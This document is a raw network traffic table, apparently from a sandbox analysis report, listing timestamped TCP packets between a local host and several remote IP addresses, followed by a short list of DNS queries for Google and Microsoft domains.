Nov 28, 2024 02:27:46.765880108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.765971899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.766001940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.766041994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.766946077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.766993046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.767062902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.767103910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.767911911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.767956972 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.768006086 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.768047094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.768924952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.768982887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.769032955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.769124985 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.769382954 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.769994974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.770040989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.770087004 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.770128012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.770983934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.771059036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.771089077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.771127939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.772113085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.772155046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.772229910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.772269964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.773020029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.773072004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.773118973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.773228884 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.774015903 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.774063110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.774131060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.774171114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.775065899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.775113106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.775147915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.775233984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.776053905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.776094913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.776195049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.776235104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.777081013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.777126074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.777205944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.777240992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.778130054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.778167009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.778235912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.778274059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.779124022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.779167891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.779233932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.779349089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.780152082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.780215025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.780287027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.780323029 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.781178951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.781279087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.781305075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.781316042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.782162905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.782206059 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.782269001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.782305002 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.783210039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.783263922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.783294916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.783329010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.784219027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.784275055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.784300089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.784337997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.871105909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.871171951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.871273041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.871324062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.871659994 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.871674061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.871723890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.871741056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.872497082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.872509956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.872545004 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.872548103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.872565031 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.872584105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.872648954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.872680902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.873514891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.873554945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.873616934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.873814106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.874553919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.874598026 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.874651909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.874685049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.875555992 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.875619888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.875667095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.875811100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.876585960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.876651049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.876760960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.876852036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.877604008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.877711058 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.877768993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.878645897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.878698111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.878772974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.878810883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.879628897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.879683971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.879731894 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.879770041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.880669117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.880733013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.880803108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.880841970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.881661892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.881716013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.881771088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.881808996 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.882659912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.882708073 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.924684048 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.924684048 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.929514885 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.929539919 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.929598093 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.929619074 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.930794001 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.930852890 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.931019068 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.931087017 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.931124926 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.934895039 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.934925079 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.935045958 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.935062885 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.935134888 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.935193062 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.937133074 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.937153101 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.941817999 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.941916943 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.942101002 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.946753025 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.946836948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.946913958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.946930885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.946969986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.947300911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.947349072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.947387934 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.947427988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.947500944 CET	49894	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.947519064 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.947897911 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.948327065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.948364973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.948419094 CET	49894	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.948437929 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.948478937 CET	443	49894	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.948530912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.949335098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.949395895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.949475050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.949518919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.949920893 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.949937105 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.949955940 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.949959993 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.950361013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.950417995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.950460911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.950499058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.951361895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.951402903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.951472998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.951514006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.952434063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.952480078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.952543020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.952583075 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.953438997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.953574896 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.953630924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.954438925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.954500914 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.954566956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.954607010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.955549002 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.955593109 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.955636024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.955677986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.956478119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.956542969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.956592083 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.956629992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.957587957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.957607985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.957649946 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.958529949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.958584070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.958621025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.958661079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.959533930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.959584951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.959625959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.959669113 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.960546017 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.960604906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.960638046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.960683107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.961566925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.961625099 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.961683989 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.961803913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.962579966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.962634087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.962687969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.962726116 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.963608980 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.963664055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.963789940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.963833094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.964617014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.964714050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.964715004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.964754105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.965636969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.965682983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.965732098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.965775967 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.966667891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.966773987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.966818094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.967686892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.967729092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.967767954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.967859983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.968703985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.968772888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.968803883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.968846083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.969734907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.969799995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.969826937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.969867945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.970750093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.970835924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.970886946 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.971745014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.971786976 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.971854925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.971894979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.972790956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.972940922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.972992897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.973839998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.973906994 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.973926067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.973969936 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.974910021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.974922895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.974951029 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.974966049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.975845098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.975898981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.976047993 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.976087093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.976839066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.976897955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.976936102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.976975918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.977864027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.977917910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.977955103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.978007078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.978883982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.978951931 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.978984118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.979022026 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.979643106 CET	49902	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.979679108 CET	443	49902	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.979896069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.979935884 CET	49902	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.979959965 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.980001926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.980045080 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.980909109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.980963945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.981018066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.981164932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.981944084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.982008934 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.982034922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.982075930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.982800961 CET	49902	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:46.982814074 CET	443	49902	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:46.982961893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.983017921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.983053923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.983196974 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.983927965 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.984004974 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.984133005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.984178066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.984980106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.985037088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.985075951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.985116959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.986006975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.986062050 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.986145020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:46.986212015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:46.994095087 CET	443	49895	23.209.72.35	192.168.2.6
Nov 28, 2024 02:27:46.994323969 CET	49895	443	192.168.2.6	23.209.72.35
Nov 28, 2024 02:27:46.994333982 CET	443	49895	23.209.72.35	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 02:27:21.857609987 CET	192.168.2.6	1.1.1.1	0x78df	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:21.857764959 CET	192.168.2.6	1.1.1.1	0xd928	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:29.554095030 CET	192.168.2.6	1.1.1.1	0xfa53	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:29.554425001 CET	192.168.2.6	1.1.1.1	0xb92f	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:34.355938911 CET	192.168.2.6	1.1.1.1	0x9afc	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:34.356069088 CET	192.168.2.6	1.1.1.1	0x585	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 02:27:36.671982050 CET	192.168.2.6	1.1.1.1	0x94b2	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 02:27:36.672229052 CET	192.168.2.6	1.1.1.1	0x2e0c	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
